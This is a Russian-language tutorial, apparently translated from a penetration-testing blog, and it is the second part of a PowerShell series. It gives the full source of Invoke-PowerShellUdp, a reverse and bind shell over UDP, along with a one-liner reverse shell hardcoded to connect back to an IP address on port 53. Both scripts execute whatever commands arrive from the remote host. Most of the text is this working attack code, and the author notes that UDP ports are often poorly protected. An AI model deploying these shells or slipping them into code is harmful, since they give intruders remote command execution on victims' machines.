01.11.2015

Мастер-класс по работе с PowerShell. Часть 2 – Шелл на базе протокола UDP

image

Во второй части мы поговорим о работе с протоколом UDP. Лично я испытываю особую любовь к UDP, поскольку многие специалисты не придают особого значения этому протоколу. Во многих системах меры безопасности, предпринимаемые для защиты UDP-портов (например, 53, 161 и даже 389), оставляют желать лучшего.

Автор: Nikhil SamratAshok Mittal

Предыдущие статьи данного цикла:

Во второй части мы поговорим о работе с протоколом UDP. Лично я испытываю особую любовь к UDP, поскольку многие специалисты не придают особого значения этому протоколу. Во многих системах меры безопасности, предпринимаемые для защиты UDP-портов (например, 53, 161 и даже 389), оставляют желать лучшего.

Написанный мной скрипт Invoke-PowerShellUdp в плане синтаксиса схож со скриптом Invoke-PowerShellTcp. Ниже показан исходный код скрипта (опять без документации):

function Invoke-PowerShellUdp
{
[CmdletBinding(DefaultParameterSetName="reverse")] Param(

[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,

[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,

[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,

[Parameter(ParameterSetName="bind")]
[Switch]
$Bind

)

#Connect back if the reverse switch is used.
if ($Reverse)
{
$endpoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($IPAddress),$Port)
$client = New-Object System.Net.Sockets.UDPClient
}

#Bind to the provided port if Bind switch is used.
if ($Bind)
{
$endpoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::ANY,$Port)
$client = New-Object System.Net.Sockets.UDPClient($Port)
$client.Receive([ref]$endpoint)
}

[byte[]]$bytes = 0..255|%{0}

#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user "
+ $env:username + " on " + $env:computername + "`
nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")

$client.Send($sendbytes,$sendbytes.Length,$endpoint)

#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$client.Send($sendbytes,$sendbytes.Length,$endpoint)

while($true)
{
$receivebytes = $client.Receive([ref]$endpoint)
$returndata = ([text.encoding]::ASCII).GetString($receivebytes)
$result = (Invoke-Expression -Command $returndata 2>&1 | Out-String )

$sendback = $result + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback + $x

#Send results back
$sendbytes = ([text.encoding]::ASCII).GetBytes($sendback2)
$client.Send($sendbytes,$sendbytes.Length,$endpoint)
}
$client.Close()
}

Этот скрипт также можно взять из папки https://github.com/samratashok/nishang/tree/master/Shells

На рисунке ниже показана работа скрипта в режиме reverse shell:

http://3.bp.blogspot.com/-CP755hdPzK8/VVHsM8M_6BI/AAAAAAAABQQ/aNgB-Qv70nU/s1600/ReverseToKali.png

Рисунок 1: Работа скрипта в режиме обратного шелла

На рисунке ниже показан обратный шелл с использованием IPv6:

http://4.bp.blogspot.com/-FRqcXzbqV5o/VVHsXFNBIDI/AAAAAAAABQY/s01gnIFFZFs/s1600/ReverseToKali_IPv6.png

Рисунок 2: Обратный шелл с использованием IPv6

На рисунке ниже продемонстрирована работа скрипта в режиме bind shell:

http://4.bp.blogspot.com/-qmoX-547pUE/VVHwUC7NNWI/AAAAAAAABQk/hB5nZTI28m0/s1600/BindFromKali.png

Рисунок 3: Работа в режиме bind shell

Пакеты, собранные для всех вышеуказанных режимов, можно скачать по следующей ссылке:

https://drive.google.com/open?id=0B-Hsu8q12kG3fmZoREtISjJyTjZiRGpGN29SVVJDWF9TVlBmVExFRnVlWHRsUkVXOTdmLUU&authuser=0

Скрипт Invoke-PowerShellUdp тоже имеет однострочную версию. В укороченной версии можно работать только в режиме обратного шелла. Кроме того, необходимо прописать IP-адрес и номер порта. Ниже показан исходный код скрипта Invoke-PowerShellUdpOneLine:

$endpoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]:
:Parse("192.168.254.226"),53);$client = New-Object System.Net.Sockets.UDPClient(53);
[byte[]]$bytes = 0..255|%{0};$sendbytes = ([text.encoding]::ASCII).GetBytes('PS> ');$client.Send($sendbytes,$sendbytes.Length,$endpoint);while($true){;$receivebytes =
$client.Receive([ref]$endpoint);$returndata = ([text.encoding]::ASCII).GetString($receivebytes);
$sendback = (iex $returndata 2>&1 | Out-String );$sendbytes =
([text.encoding]::ASCII).GetBytes($sendback);$client.Send($sendbytes,$sendbytes.Length,$endpoint)};
$client.Close()

Скрипт powercat также подходит для работы с интерактивной оболочкой через протокол UPD:

http://3.bp.blogspot.com/-HZygFfSahZo/VVIA-ThfTbI/AAAAAAAABQ4/WAhr5vemAO8/s1600/powercat_udp.png

Рисунок 4: Пример использования скрипта powercat через протокол UDP